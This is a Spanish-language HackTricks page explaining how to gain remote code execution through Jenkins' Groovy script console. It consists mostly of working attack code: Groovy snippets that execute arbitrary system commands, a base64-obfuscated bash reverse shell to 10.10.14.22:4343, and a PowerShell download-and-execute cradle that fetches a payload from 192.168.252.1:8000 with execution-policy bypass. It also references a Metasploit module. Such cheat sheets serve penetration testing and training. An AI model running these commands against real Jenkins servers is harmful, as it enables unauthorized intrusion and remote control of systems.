Jenkins RCE con Script Groovy

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Jenkins RCE con Script Groovy

Esto es menos ruidoso que crear un nuevo proyecto en Jenkins

  1. Ve a path_jenkins/script
  2. Dentro del cuadro de texto introduce el script
def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"

Podrías ejecutar un comando usando: cmd.exe /c dir

En linux puedes hacer: "ls /".execute().text

Si necesitas usar comillas y comillas simples dentro del texto. Puedes usar “”“PAYLOAD”“” (tres comillas dobles) para ejecutar la carga útil.

Otro script groovy útil es (reemplaza [INSERT COMMAND]):

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Shell inversa en Linux

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Reverse shell en Windows

Puedes preparar un servidor HTTP con un PS reverse shell y usar Jeking para descargarlo y ejecutarlo:

scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

Script

Puedes automatizar este proceso con este script.

Puedes usar MSF para obtener un shell reverso:

msf> use exploit/multi/http/jenkins_script_console

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks